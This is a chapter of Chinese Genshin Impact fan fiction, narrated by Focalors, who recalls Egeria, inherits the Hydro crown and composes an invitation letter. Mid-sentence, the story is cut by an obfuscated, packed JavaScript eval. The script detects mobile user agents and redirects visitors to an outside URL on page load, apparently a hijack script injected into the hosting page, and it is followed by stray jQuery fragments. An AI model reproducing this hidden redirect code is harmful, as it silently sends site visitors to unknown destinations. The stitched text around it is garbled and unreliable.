1. 芙卡洛斯的生死爱欲(一)

作品:《【原神】布拉格殉情指南

    *芙卡洛斯中心/无cp/人人都爱芙卡洛斯/所以也是all芙卡洛斯,第一人称预警


    我最后一次见到厄歌莉娅,是五百一十二年前在苍晶山地。下午,稍晚,无名湖畔,我去找她下棋。彼时,她正握着一把剪刀发呆,闪光的长发落了一地。夕阳描摹她的轮廓,将之烧成蜜色的陶瓷。我问她,神明的头发都具有神力,为何如此豪奢地丢弃?她忧郁地笑答,从今往后都用不上了,还是趁早舍去为好。我一时失语。头发究竟有什么用呢?我不明白。于是我只是点了点头。


    她捡起那如丝绸般柔顺的落发,绞成一束,和剪刀一齐递给我,我愣愣地接了。她便昂扬起语调:


    “让我为你献上最诚挚的祝贺,我最忠实的追随者、我最亲密的友人!你将成为新的水神——当然,不是现在。”


    我引以为豪的大脑当时就宕机了,只机械地揉搓着手里的礼物,一根一根,像流水流过我的手心。毕竟,当时我只是一只追随厄歌莉娅的纯水精灵,不知死亡为何物。


    我将厄歌莉娅赠予的头发视为最大的谜题,每日攥在手里钻研。我开始离群索居。当大家手挽手掠过塞洛海原的平静水面时,我在深水的蚌壳里沉思;当大家围成一圈讨论远古流传的残余棋局时,我在茂密的森林里漫步;当大家齐聚一堂为伟大神明献上颂歌与祝福时,我在失落的遗迹里找寻。一无所获。于是我钻进纯水精灵的聚会,将头发展示,可同伴们只是摇头;我去往正在建设的枫丹廷,将疑问书写,可人类也不知缘由。爱玛和朱莉亚说我疯了。我无法反驳。


    不记得多少个日夜过去,某一日,我在芒索斯山麓徘徊,毫无征兆地,手中的发束忽然延展,变成无数条狭长的河流,在指缝间自如地流淌,粼粼地闪着幽蓝的光;然后,众水为之震颤,万川为之涌动,丝丝缕缕的河流汇成一股,像有透明的针线指引,穿梭往返,织就一顶鸢尾花冠。它徐徐地向我而来。


    我跪下来;对着海面。其时又是一个黄昏,我看到如镜的水面里倒映出一个人类,她的头上安放着一顶纯水的冠冕。衰颓的夕阳为这新生的王冠镀上黄金的光辉,灿烂夺目。不知为何,充盈的水流无可抑制地自我眼中奔涌而出,砸到水面上。随着水纹的波动,整个倒影都着了火,仿佛太阳点燃棋盘,每一颗棋子都在崩毁中呐喊,却很快烧尽,坍缩成一朵枯萎的火花。


    最后,这火花也凋零了,像一场庞然的火山猛烈喷发后留下的余烬。只要轻轻一触,就灰飞烟灭。不知为何,我总觉得所有的水都当真在被焚烧,我的身体,我的头颅,我的双眼都被炽热的温度烫伤。这等危险的火焰,我只在人类那里见过。某天夜半我悄悄浮出海面,看见遥远的岸边燃着篝火。它那么鲜艳,那么红。可从来没有同伴告诉我,它其实如此滚烫,能令一切沸腾。等我终于敢睁开眼时,夜幕降临,水中的自己也成了一片看不清眉眼的黑影。我摸了摸脸,完好无损。唯有一点濡湿的触感。


    我披上白袍,踏着开满鲜花的原野,到枫丹廷去。我曾和厄歌莉娅一道来过这里,那时枫丹廷的大街上还没有如此鼎沸的人潮。人类用勤勉铸就辉煌的城垣,借智慧垒砌恢弘的殿堂:短短数月,如火如荼的建设就把此处变成了巍峨的都城。我几乎没有认出这是记忆中的荒原。


    穿过利奥奈区新铺的花岗岩大道,转入瓦萨里回廊。拱廊由大块的玻璃连缀,直至在半空中交织成透明的穹顶。厄歌莉娅之前同我说,人类不喜欢湿漉漉的,如果有一条道路,可以为人们遮风挡雨,那即使是雨天,大家也能出门散步、聊天和聚会了。我抓住路过的行人询问,不出所料,他们都说是厄歌莉娅的主意;还有一所最壮观的歌剧院,也即将完工。


    “不过,她怎么还没来验收呢?”


    下意识地,我仓皇逃窜进旁边的店铺。这是一家新开的服装店,店主品味不俗,于是我在此订购了一套晨礼服。当然,还要一顶华美的大礼帽——量身定制;我像个木偶一般被美丽的店员小姐摆弄了许久,大功告成时忍不住松了口气。最后我叮嘱道,要有很多的鸢尾花,绽放在衣装的各个角落。


    以前,我喝不出咖啡的好坏,只觉得很苦很苦;蛋糕倒是惊艳,蓬松而甜蜜。现在,我独自一人坐在遮阳伞下,搅拌眼前深棕色的液体,试图寻觅当初厄歌莉娅所言“咖啡的香气”。可还是好苦,苦得我说不出话来。


    厄歌莉娅多么优雅。爱玛和朱莉亚说她只是坐在那里就是最纯洁最崇高的雕像。银匙在她手里轻巧地旋转,然后被妥当地安置在一旁;她苍白的手指穿过圆润的骨瓷杯把,像细瘦的枝头挂着一弯伶仃的新月。然后她会笑盈盈地问我是否累了,将我送回大洋深处安眠的乐巢。


    真奇怪啊。以前我从没这么频繁地想起厄歌莉娅,想起她是怎么喝咖啡的。


    那时枫丹还有雨季。


    枫丹的土地广袤无际,群山绵延着分割原野与水域。我、爱玛和朱莉亚常常在云层中眺望人群的痕迹,星星点点如彩带蜿蜒在斑驳的大地。未被涉足的领地则是纯水精灵的欢筵,无人知晓的狂欢遍及每一棵白梣树下的阴翳。雨季来临的时候,人类龟缩在零星的房屋之内,烘烤炉火谈天说地;纯水精灵跃出海面,与积雨云相亲,与落下的水滴共舞,继续无休止的祝仪。


    纯水精灵相信,枫丹是他们的乐园;人类则是朝圣的信徒,为求水神的庇护而定居于此。现在,我是行走其中的叛徒。没有奉献任何祭品,我即是新的神明;没有索求任何牺牲,我即是人的信仰。现在,我已不是纯粹的精灵,亦不属真正的人民。我茫然地扯着纯白的衣袍,任风吹起流苏的边角。鸢尾花冠的重量时刻提醒着我,尚有未竟之事有待实行。


    后来我决心用双脚走遍枫丹的每个角落,孤身踏上旅程。这是寻找答案的必经之路。我渴望去须弥见厄歌莉娅最后一面,可惜她留给我的任务让我无暇踏足其他国度。而纯水精灵们纷纷离开枫丹,她们声称是我为了窃取七神的权柄谋杀了厄歌莉娅;人类则惶然四顾,他们祈求新的神明如期降临。


    爱玛和朱莉亚走上前问:为什么是你呢?我们一同追随厄歌莉娅,是坚信她的崇高与纯洁无可匹敌;如今你既染指正义的权柄,我们自当告辞而去,以免与不义的芙卡洛斯同流合污。不过,走之前我们依然要问,为什么是你呢?


    为什么是我呢?厄歌莉娅没有告诉我。


    理所当然,无人为我哀悼。无人为死去的芙宁娜哀悼。唯有众水欢欣,高呼芙卡洛斯之名。


    ……为什么是我呢?


    我还没有人形时,就已万分向往秋分山山顶的月色和芒索斯山脚的花丛。后来,我第一次用自己的双脚踏足这片大地,厄歌莉娅就在前方牵着我的手。我小心翼翼地伸出足尖,轻轻压上地面。厄歌莉娅笑着说,别害怕,把所有的重量都交付给大地,它将忠实地托住你的整个身体。


    太奇妙了。如果与我一样习于水中自由的游弋,就会发现陆上的行走是如此奇异。我迈出了第一步,然后是第二步,接着重心不稳,左腿绊右腿,狠狠地向前摔去,摔进厄歌莉娅满是花香的怀抱里。于是,她就被扑倒在草地上,笑出了声。我犹疑地问:


    “为什么,会向后倒呢?”


    厄歌莉娅说:“因为重力啊。”


    我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099044|163753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笨拙地爬起,跪坐在一边。厄歌莉娅却没有起来,而是伸长了一只胳膊递给我。我不明所以,将自己的手放入她的掌心。


    下一秒,我也砸进馥郁的原野,厄歌莉娅的脸庞近在咫尺。草籽和花香一拥而上,新叶拂过脸庞,微有痒意。


    她说:“你看,这样躺着看星空,是不是和在水里看,不太一样?”


    我转过头去。夜空明澈,星辰清晰。


    是的,是的。在水里看星,朦胧而不真切。


    她就笑了,要带我去山顶。那里的星星格外切近,仿佛伸手可摘。


    我们肩并肩坐在秋分山顶的一个山脊断裂的悬崖,欣赏没有水幕相隔的月色。厄歌莉娅摸了摸我的头,问,知不知道人类为什么格外喜欢这种活动。


    我眨了眨眼问她,哪种活动。


    厄歌莉娅说,像这样,半夜本应是人类睡觉的时间,却跑出屋子,爬上山,和好友一起赏月。


    我想了想说,因为水里的月,山上的月,窗中的月,都不同吧。


    她就叹口气,说,傻孩子,月都是一轮月啊。


    现在,我一人坐在秋分山的山顶,琢磨着该怎么写信。月亮被蚀得只剩一条银线。可不要紧,它会再度盈满。那位先生会接受我的邀请,我确信。我希望这是一封得体的邀请函,最好带有枫丹的气息。无意识地晃动着双脚,再一次,我想起与厄歌莉娅初见的那一天。


    厄歌莉娅说:“现在,我们已有众水搭建的舞台,神明撰写的剧本;我们已有月亮馈赠的灯光,群山造设的观席;我们已有万籁奏响的乐曲,生灵构筑的背景——一切就绪,只差一位主演。她应当具备浑然天成的技巧,能演绎所有种类的角色;她应当保有纯粹澄明的内心,能共情诸般复杂的感情。”


    然后我便被爱玛和朱莉亚推上舞台。正当我不知所措时,她上前来牵住了我,笑着说,来吧,来吧,让我们一起将这出戏剧演到终幕。我羞赧地说,不,我没有演过戏……我只是,很喜欢,扮演其他同伴……


    厄歌莉娅将女主角的鸢尾花冠戴到我的头上。她说,那很好啊,说明你就是我要找的女主角。


    我不由自主地跟着她走到了舞台中央。明亮的灯光照得我有些燥热,我听到自己身体里的水流不听使唤地摇荡。


    秋分山的月就快沉沦,拂晓的云染上霞光。我搜肠刮肚,极尽所能,用上所知最优雅得体的词汇,连篇累牍,写成我一生中最精彩的信。


    我写道:


    “我会在最大的剧院为你留一个视野最好的座位……”


    当然,当然,我心里嘀咕。我当然会在最大的剧院为他留一个视野最好的座位,尽管这剧院尚未完工。那是我也没有登上过的舞台,未来,将会是我谢幕的舞台。最盛大的戏剧、最震撼的落幕,需要如此堂皇的舞台才能相配。至少那一天,我不能惊惶地站在舞台中央,不知所措,无路可退。


    最后,我掏出自己调制的香水,在信纸上滴了两滴。


    枫丹土地肥沃,物产丰饶。厄歌莉娅喜欢调香,她经常带着柳藤编织的篮子,从一个湖泊走到另一个湖泊,从山脊走到另一座山脊,一路采摘茉洁草,然后将它们倒进石皿,慢慢捣碎、研磨。香气馥郁,萦绕不散。最后它们被芸萃成几滴香水,装进小小的玻璃瓶子。她还会给它们起好听的名字,好听到每个名字在齿间碰撞时,都像刚刚出炉的马卡龙亲吻她柔软的唇瓣。


    这是枫丹的香气。是厄歌莉娅的香气。


    茉洁三月开花六月凋敝,厄歌莉娅再也没有回来。


    我穿过伊黎耶岛的雨幕,放飞一只衔枝的雪翅雁。